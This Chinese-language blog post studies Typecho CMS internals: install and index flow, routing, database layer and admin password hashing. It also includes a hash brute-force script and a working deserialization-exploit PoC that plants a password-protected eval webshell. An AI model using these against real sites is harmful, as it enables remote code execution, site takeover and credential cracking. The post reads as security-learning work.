typecho框架学习

前言

学到后面发现自己看代码能力还是很菜,于是接下来的学习都会拿一些框架cms来学习,顺便复现一下古老的漏洞。

目录结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
├─admin
│ ├─css
│ ├─img
│ └─js
├─install
├─usr
│ ├─plugins
│ │ └─HelloWorld
│ ├─themes
│ │ └─default
│ │ └─img
│ └─uploads
└─var
├─IXR
├─Typecho
│ ├─Db
│ │ ├─Adapter
│ │ │ └─Pdo
│ │ └─Query
│ ├─Http
│ │ └─Client
│ │ └─Adapter
│ ├─I18n
│ ├─Plugin
│ ├─Router
│ └─Widget
│ └─Helper
│ ├─Form
│ │ └─Element
│ └─PageNavigator
└─Widget
├─Abstract
├─Comments
├─Contents
│ ├─Attachment
│ ├─Page
│ ├─Post
│ └─Related
├─Interface
├─Metas
│ ├─Category
│ └─Tag
├─Options
├─Plugins
├─Themes
└─Users

install.php解析

首先设置了根目录等,也设置了包含路径,包含的内容都在/var目录下

1
2
3
4
/** 设置包含路径 */
@set_include_path(get_include_path() . PATH_SEPARATOR .
__TYPECHO_ROOT_DIR__ . '/var' . PATH_SEPARATOR .
__TYPECHO_ROOT_DIR__ . __TYPECHO_PLUGIN_DIR__);

随后调用Typecho_Common::init()初始化,方法里面定义了__autoLoad方法,用_作为分割符,对输入的GET、POST 、COOKIE进行了过滤。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
    public static function init()
{
/** 设置自动载入函数 */
spl_autoload_register(array('Typecho_Common', '__autoLoad'));

/** 兼容php6 */
if (function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()) {
$_GET = self::stripslashesDeep($_GET);
$_POST = self::stripslashesDeep($_POST);
$_COOKIE = self::stripslashesDeep($_COOKIE);

reset($_GET);
reset($_POST);
reset($_COOKIE);
}

/** 设置异常截获函数 */
set_exception_handler(array('Typecho_Common', 'exceptionHandle'));
}

public static function __autoLoad($className)
{
@include_once str_replace(array('\\', '_'), '/', $className) . '.php';
}

接着定义了几个有关参数操作的函数,接着一顿操作选语言。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
/**
* 获取传递参数
*
* @param string $name 参数名称
* @param string $default 默认值
* @return string
*/
function _r($name, $default = NULL) {
return isset($_REQUEST[$name]) ?
(is_array($_REQUEST[$name]) ? $default : $_REQUEST[$name]) : $default;
}

/**
* 获取多个传递参数
*
* @return array
*/
function _rFrom() {
$result = array();
$params = func_get_args();

foreach ($params as $param) {
$result[$param] = isset($_REQUEST[$param]) ?
(is_array($_REQUEST[$param]) ? NULL : $_REQUEST[$param]) : NULL;
}

return $result;
}

/**
* 输出传递参数
*
* @param string $name 参数名称
* @param string $default 默认值
* @return string
*/
function _v($name, $default = '') {
echo _r($name, $default);
}

建立数据库对象

接下来是建库啥的一些初始化操作。其中跟数据库有关的就三个php

1
2
3
var\Typecho\Db.php
var\Typecho\Db\Query.php
var\Typecho\Db\Adapter\Mysql.php


最常见的一句数据库插入语句,先通过insert找表(这里做了表名的过滤),返回的是Typecho_Db_Query对象,然后通过调用Typecho_Db_Query的rows方法(这里做了列名的过滤)一顿操作之后还是返回Typecho_Db_Query对象,最后把Typecho_Db_Query对象当作参数执行query方法。

1
$installDb->query($installDb->insert('table.options')->rows(array('name' => 'theme', 'user' => 0, 'value' => 'default')));

其中Db.php中的sql()函数

1
2
3
4
public function sql()     //获得var\Typecho\Db\Query.php
{
return new Typecho_Db_Query($this->_adapter, $this->_prefix);
}

经过Db.php跟Query.php一顿操作,最后还是再Mysql.php中执行
image.png

配置完成之后把配置文件写进./config.inc.php,至此install.php的作用到此为止。
image.png

index.php解析

1
Typecho_Widget::widget('Widget_Init');
1
$widget = new $className($requestObject, $responseObject, $params);

加载requests、response对象,总的组件群体在$_widgetPool静态变量里面.

初始化组件

初始化Widget_Init对象,所有的初始化都在这里初始化完了,其中比较重要的路由、主题、插件都在这里加载,并且初始化之后都加入对象池,方便下次使用,而路由解析var\Typecho\Router\Parser.php的parse函数里面。其中从数据库的Options表中读取了所有内容到$options变量,最终写入row变量以及写入stack堆栈(看起来像堆栈,其实只是一个变量)中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
public function execute()
{
/** 对变量赋值 */
$options = $this->widget('Widget_Options');

/** 检查安装状态 */
if (!$options->installed) {
$options->update(array('value' => 1), Typecho_Db::get()->sql()->where('name = ?', 'installed'));
}

/** 语言包初始化 */
if ($options->lang && $options->lang != 'zh_CN') {
$dir = defined('__TYPECHO_LANG_DIR__') ? __TYPECHO_LANG_DIR__ : __TYPECHO_ROOT_DIR__ . '/usr/langs';
Typecho_I18n::setLang($dir . '/' . $options->lang . '.mo');
}

/** 备份文件目录初始化 */
if (!defined('__TYPECHO_BACKUP_DIR__')) {
define('__TYPECHO_BACKUP_DIR__', __TYPECHO_ROOT_DIR__ . '/usr/backups');
}

/** cookie初始化 */
Typecho_Cookie::setPrefix($options->rootUrl);

/** 初始化charset */
Typecho_Common::$charset = $options->charset;

/** 初始化exception */
Typecho_Common::$exceptionHandle = 'Widget_ExceptionHandle';

/** 设置路径 */
if (defined('__TYPECHO_PATHINFO_ENCODING__')) {
$pathInfo = $this->request->getPathInfo(__TYPECHO_PATHINFO_ENCODING__, $options->charset);
} else {
$pathInfo = $this->request->getPathInfo();
}

Typecho_Router::setPathInfo($pathInfo);

/** 初始化路由器 */
Typecho_Router::setRoutes($options->routingTable);

/** 初始化插件 */
Typecho_Plugin::init($options->plugins);

/** 初始化回执 */
$this->response->setCharset($options->charset);
$this->response->setContentType($options->contentType);

/** 默认时区 */
if (function_exists("ini_get") && !ini_get("date.timezone") && function_exists("date_default_timezone_set")) {
@date_default_timezone_set('UTC');
}

/** 初始化时区 */
Typecho_Date::setTimezoneOffset($options->timezone);

/** 开始会话, 减小负载只针对后台打开session支持 */
if ($this->widget('Widget_User')->hasLogin()) {
@session_start();
}

/** 监听缓冲区 */
ob_start();
}
}

读取的路由规则也实例化在了$parser变量而且也做了缓存。
image.png

image.png

路由列表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
array (size=26)
0 =>
array (size=25)
'index' => #就只是根目录
array (size=6)
'url' => string '/' (length=1)
'widget' => string 'Widget_Archive' (length=14)
'action' => string 'render' (length=6)
'regx' => string '|^[/]?$|' (length=8)
'format' => string '/' (length=1)
'params' =>
array (size=0)
...
'archive' => #/blog/
array (size=6)
'url' => string '/blog/' (length=6)
'widget' => string 'Widget_Archive' (length=14)
'action' => string 'render' (length=6)
'regx' => string '|^/blog[/]?$|' (length=13)
'format' => string '/blog/' (length=6)
'params' =>
array (size=0)
...
'do' =>
array (size=6) #/action/
'url' => string '/action/[action:alpha]' (length=22)
'widget' => string 'Widget_Do' (length=9)
'action' => string 'action' (length=6)
'regx' => string '|^/action/([_0-9a-zA-Z-]+)[/]?$|' (length=32)
'format' => string '/action/%s' (length=10)
'params' =>
array (size=1)
...
'post' =>
array (size=6) #/archives/1/
'url' => string '/archives/[cid:digital]/' (length=24)
'widget' => string 'Widget_Archive' (length=14)
'action' => string 'render' (length=6)
'regx' => string '|^/archives/([0-9]+)[/]?$|' (length=26)
'format' => string '/archives/%s/' (length=13)
'params' =>
array (size=1)
...
'attachment' =>
array (size=6)
'url' => string '/attachment/[cid:digital]/' (length=26)
'widget' => string 'Widget_Archive' (length=14)
'action' => string 'render' (length=6)
'regx' => string '|^/attachment/([0-9]+)[/]?$|' (length=28)
'format' => string '/attachment/%s/' (length=15)
'params' =>
array (size=1)
...
'category' =>
array (size=6)
'url' => string '/category/[slug]/' (length=17)
'widget' => string 'Widget_Archive' (length=14)
'action' => string 'render' (length=6)
'regx' => string '|^/category/([^/]+)[/]?$|' (length=25)
'format' => string '/category/%s/' (length=13)
'params' =>
array (size=1)
...
'tag' =>
array (size=6)
'url' => string '/tag/[slug]/' (length=12)
'widget' => string 'Widget_Archive' (length=14)
'action' => string 'render' (length=6)
'regx' => string '|^/tag/([^/]+)[/]?$|' (length=20)
'format' => string '/tag/%s/' (length=8)
'params' =>
array (size=1)
...
'author' =>
array (size=6)
'url' => string '/author/[uid:digital]/' (length=22)
'widget' => string 'Widget_Archive' (length=14)
'action' => string 'render' (length=6)
'regx' => string '|^/author/([0-9]+)[/]?$|' (length=24)
'format' => string '/author/%s/' (length=11)
'params' =>
array (size=1)
...
'search' =>
array (size=6)
'url' => string '/search/[keywords]/' (length=19)
'widget' => string 'Widget_Archive' (length=14)
'action' => string 'render' (length=6)
'regx' => string '|^/search/([^/]+)[/]?$|' (length=23)
'format' => string '/search/%s/' (length=11)
'params' =>
array (size=1)
...
'index_page' =>
array (size=6)
'url' => string '/page/[page:digital]/' (length=21)
'widget' => string 'Widget_Archive' (length=14)
'action' => string 'render' (length=6)
'regx' => string '|^/page/([0-9]+)[/]?$|' (length=22)
'format' => string '/page/%s/' (length=9)
'params' =>
array (size=1)
...
'archive_page' =>
array (size=6)
'url' => string '/blog/page/[page:digital]/' (length=26)
'widget' => string 'Widget_Archive' (length=14)
'action' => string 'render' (length=6)
'regx' => string '|^/blog/page/([0-9]+)[/]?$|' (length=27)
'format' => string '/blog/page/%s/' (length=14)
'params' =>
array (size=1)
...
'category_page' =>
array (size=6)
'url' => string '/category/[slug]/[page:digital]/' (length=32)
'widget' => string 'Widget_Archive' (length=14)
'action' => string 'render' (length=6)
'regx' => string '|^/category/([^/]+)/([0-9]+)[/]?$|' (length=34)
'format' => string '/category/%s/%s/' (length=16)
'params' =>
array (size=2)
...
'tag_page' =>
array (size=6)
'url' => string '/tag/[slug]/[page:digital]/' (length=27)
'widget' => string 'Widget_Archive' (length=14)
'action' => string 'render' (length=6)
'regx' => string '|^/tag/([^/]+)/([0-9]+)[/]?$|' (length=29)
'format' => string '/tag/%s/%s/' (length=11)
'params' =>
array (size=2)
...
'author_page' =>
array (size=6)
'url' => string '/author/[uid:digital]/[page:digital]/' (length=37)
'widget' => string 'Widget_Archive' (length=14)
'action' => string 'render' (length=6)
'regx' => string '|^/author/([0-9]+)/([0-9]+)[/]?$|' (length=33)
'format' => string '/author/%s/%s/' (length=14)
'params' =>
array (size=2)
...
'search_page' =>
array (size=6)
'url' => string '/search/[keywords]/[page:digital]/' (length=34)
'widget' => string 'Widget_Archive' (length=14)
'action' => string 'render' (length=6)
'regx' => string '|^/search/([^/]+)/([0-9]+)[/]?$|' (length=32)
'format' => string '/search/%s/%s/' (length=14)
'params' =>
array (size=2)
...
'archive_year' =>
array (size=6)
'url' => string '/[year:digital:4]/' (length=18)
'widget' => string 'Widget_Archive' (length=14)
'action' => string 'render' (length=6)
'regx' => string '|^/([0-9]{4})[/]?$|' (length=19)
'format' => string '/%s/' (length=4)
'params' =>
array (size=1)
...
'archive_month' =>
array (size=6)
'url' => string '/[year:digital:4]/[month:digital:2]/' (length=36)
'widget' => string 'Widget_Archive' (length=14)
'action' => string 'render' (length=6)
'regx' => string '|^/([0-9]{4})/([0-9]{2})[/]?$|' (length=30)
'format' => string '/%s/%s/' (length=7)
'params' =>
array (size=2)
...
'archive_day' =>
array (size=6)
'url' => string '/[year:digital:4]/[month:digital:2]/[day:digital:2]/' (length=52)
'widget' => string 'Widget_Archive' (length=14)
'action' => string 'render' (length=6)
'regx' => string '|^/([0-9]{4})/([0-9]{2})/([0-9]{2})[/]?$|' (length=41)
'format' => string '/%s/%s/%s/' (length=10)
'params' =>
array (size=3)
...
'archive_year_page' =>
array (size=6)
'url' => string '/[year:digital:4]/page/[page:digital]/' (length=38)
'widget' => string 'Widget_Archive' (length=14)
'action' => string 'render' (length=6)
'regx' => string '|^/([0-9]{4})/page/([0-9]+)[/]?$|' (length=33)
'format' => string '/%s/page/%s/' (length=12)
'params' =>
array (size=2)
...
'archive_month_page' =>
array (size=6)
'url' => string '/[year:digital:4]/[month:digital:2]/page/[page:digital]/' (length=56)
'widget' => string 'Widget_Archive' (length=14)
'action' => string 'render' (length=6)
'regx' => string '|^/([0-9]{4})/([0-9]{2})/page/([0-9]+)[/]?$|' (length=44)
'format' => string '/%s/%s/page/%s/' (length=15)
'params' =>
array (size=3)
...
'archive_day_page' =>
array (size=6)
'url' => string '/[year:digital:4]/[month:digital:2]/[day:digital:2]/page/[page:digital]/' (length=72)
'widget' => string 'Widget_Archive' (length=14)
'action' => string 'render' (length=6)
'regx' => string '|^/([0-9]{4})/([0-9]{2})/([0-9]{2})/page/([0-9]+)[/]?$|' (length=55)
'format' => string '/%s/%s/%s/page/%s/' (length=18)
'params' =>
array (size=4)
...
'comment_page' =>
array (size=6)
'url' => string '[permalink:string]/comment-page-[commentPage:digital]' (length=53)
'widget' => string 'Widget_Archive' (length=14)
'action' => string 'render' (length=6)
'regx' => string '|^(.+)/comment\-page\-([0-9]+)[/]?$|' (length=36)
'format' => string '%s/comment-page-%s' (length=18)
'params' =>
array (size=2)
...
'feed' =>
array (size=6)
'url' => string '/feed[feed:string:0]' (length=20)
'widget' => string 'Widget_Archive' (length=14)
'action' => string 'feed' (length=4)
'regx' => string '|^/feed(.*)[/]?$|' (length=17)
'format' => string '/feed%s' (length=7)
'params' =>
array (size=1)
...
'feedback' =>
array (size=6)
'url' => string '[permalink:string]/[type:alpha]' (length=31)
'widget' => string 'Widget_Feedback' (length=15)
'action' => string 'action' (length=6)
'regx' => string '|^(.+)/([_0-9a-zA-Z-]+)[/]?$|' (length=29)
'format' => string '%s/%s' (length=5)
'params' =>
array (size=2)
...
'page' =>
array (size=6)
'url' => string '/[slug].html' (length=12)
'widget' => string 'Widget_Archive' (length=14)
'action' => string 'render' (length=6)
'regx' => string '|^/([^/]+)\.html[/]?$|' (length=22)
'format' => string '/%s.html' (length=8)
'params' =>
array (size=1)
...

后台管理密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#/var/Widget/User.php
public function login($name, $password, $temporarily = false, $expire = 0)
{
//插件接口
$result = $this->pluginHandle()->trigger($loginPluggable)->login($name, $password, $temporarily, $expire);
if ($loginPluggable) {
return $result;
}

/** 开始验证用户 **/
$user = $this->db->fetchRow($this->db->select()
->from('table.users')
->where((strpos($name, '@') ? 'mail' : 'name') . ' = ?', $name)
->limit(1));

if (empty($user)) {
return false;
}

$hashValidate = $this->pluginHandle()->trigger($hashPluggable)->hashValidate($password, $user['password']);
if (!$hashPluggable) {
if ('$P$' == substr($user['password'], 0, 3)) {
$hasher = new PasswordHash(8, true);
$hashValidate = $hasher->CheckPassword($password, $user['password']);
} else {
$hashValidate = Typecho_Common::hashValidate($password, $user['password']);
}
}

后台加密解密是在/var/PasswordHash.php上

1
2
3
4
5
6
7
8
function CheckPassword($password, $stored_hash)
{
$hash = $this->crypt_private($password, $stored_hash);
if ($hash[0] == '*')
$hash = crypt($password, $stored_hash);

return $hash == $stored_hash;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
 function crypt_private($password, $setting)
{
$output = '*0';
if (substr($setting, 0, 2) == $output)
$output = '*1';

if (substr($setting, 0, 3) != '$P$')
return $output;

$count_log2 = strpos($this->itoa64, $setting[3]);
if ($count_log2 < 7 || $count_log2 > 30)
return $output;

$count = 1 << $count_log2;

$salt = substr($setting, 4, 8);
if (strlen($salt) != 8)
return $output;

# We're kind of forced to use MD5 here since it's the only
# cryptographic primitive available in all versions of PHP
# currently in use. To implement our own low-level crypto
# in PHP would result in much worse performance and
# consequently in lower iteration counts and hashes that are
# quicker to crack (by non-PHP code).
if (PHP_VERSION >= '5') {
$hash = md5($salt . $password, TRUE);
do {
$hash = md5($hash . $password, TRUE);
} while (--$count);
} else {
$hash = pack('H*', md5($salt . $password));
do {
$hash = pack('H*', md5($hash . $password));
} while (--$count);
}

$output = substr($setting, 0, 12);
$output .= $this->encode64($hash, 16);

return $output;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function encode64($input, $count)
{
$output = '';
$i = 0;
do {
$value = ord($input[$i++]);
$output .= $this->itoa64[$value & 0x3f];
if ($i < $count)
$value |= ord($input[$i]) << 8;
$output .= $this->itoa64[($value >> 6) & 0x3f];
if ($i++ >= $count)
break;
if ($i < $count)
$value |= ord($input[$i]) << 16;
$output .= $this->itoa64[($value >> 12) & 0x3f];
if ($i++ >= $count)
break;
$output .= $this->itoa64[($value >> 18) & 0x3f];
} while ($i < $count);

return $output;
}

这里从加密后的密文判断是不是$p$,然后再取第4位作为md5作为1左移的位数,也就是md5的加密次数(2的x次方)。其实md5加密的盐是在密文的5-12。最后md5之后在经过encode64函数得到16位字符串拼接起来密文的前12位,最后校验是否与密文相等。
image.png

后台解密爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
function encode64($input, $count)
{
$itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
$output = '';
$i = 0;
do {
$value = ord($input[$i++]);
$output .= $itoa64[$value & 0x3f];
if ($i < $count)
$value |= ord($input[$i]) << 8;
$output .= $itoa64[($value >> 6) & 0x3f];
if ($i++ >= $count)
break;
if ($i < $count)
$value |= ord($input[$i]) << 16;
$output .= $itoa64[($value >> 12) & 0x3f];
if ($i++ >= $count)
break;
$output .= $itoa64[($value >> 18) & 0x3f];
} while ($i < $count);

return $output;
}

$miwen = '$P$BBRtV3vwI/dpWRyxhApohd/LCiXzXb0'; #密文
$itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
$count_log2= strpos($itoa64,$miwen[3]);
$count = 1 << $count_log2;
$salt = substr($miwen, 4, 8);
$password='asdasdasd'; #你想爆破的密文
$hash = md5($salt . $password, TRUE);
do {
$hash = md5($hash . $password, TRUE);
} while (--$count);
$output = substr($miwen, 0, 12);
$output .=encode64($hash, 16);
if($miwen == $output)
echo "find the password====>".$password;

Typecho反序列化漏洞

cms小白审计-typecho反序列漏洞
Typecho 反序列化漏洞导致前台

关键截图

image.png
image.png
image.png
image.png

1.在install.php的第230行,我们精心构造的poc被这里反序列化
2.在install.php的第232行,程序调用了$config[‘adapter’],而$config[‘adapter’]是我们精心构造的,具有利用点__toString()函数的类Typecho_Feed()的对象
3.因为对象$config[‘adapter’]被调用,触发了__toString()函数
4.而在__toString()函数里,程序调用了类Typecho_Feed()的私有变量$item[‘author’]->screenName,而$item[‘author’]->screenName是我们精心构造的,具有利用点__get()函数的类Typecho_Request的对象
5.由于私有变量被调用,触发了__get()函数
6.__get()中的get()函数调用了危险函数call_user_func(),导致任意命令执行

这一连串的pop链构造可谓非常精妙,分析完后才感觉到自己有多菜= =

Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class Typecho_Feed{
private $_type='ATOM 1.0';
private $_items;

public function __construct(){
$this->_items = array(
'0'=>array(
'author'=> new Typecho_Request())
);
}
}

class Typecho_Request{
private $_params = array('screenName'=>'file_put_contents(\'.decade.php\', \'<?php if(md5($_POST["pass"])=="ad3bf81f37b9dddba943b53f7670c57b"){@eval($_POST[a]);} ?>');
private $_filter = array('assert');
}
$poc = array(
'adapter'=>new Typecho_Feed(),
'prefix'=>'typecho');

echo base64_encode(serialize($poc));

Typecho常用配置文件所在路径

数据库账号密码在config.inc.php页面上。
后台管理密码在数据库typecho_users表中,加解密分析如上

-------------本文结束感谢您的阅读-------------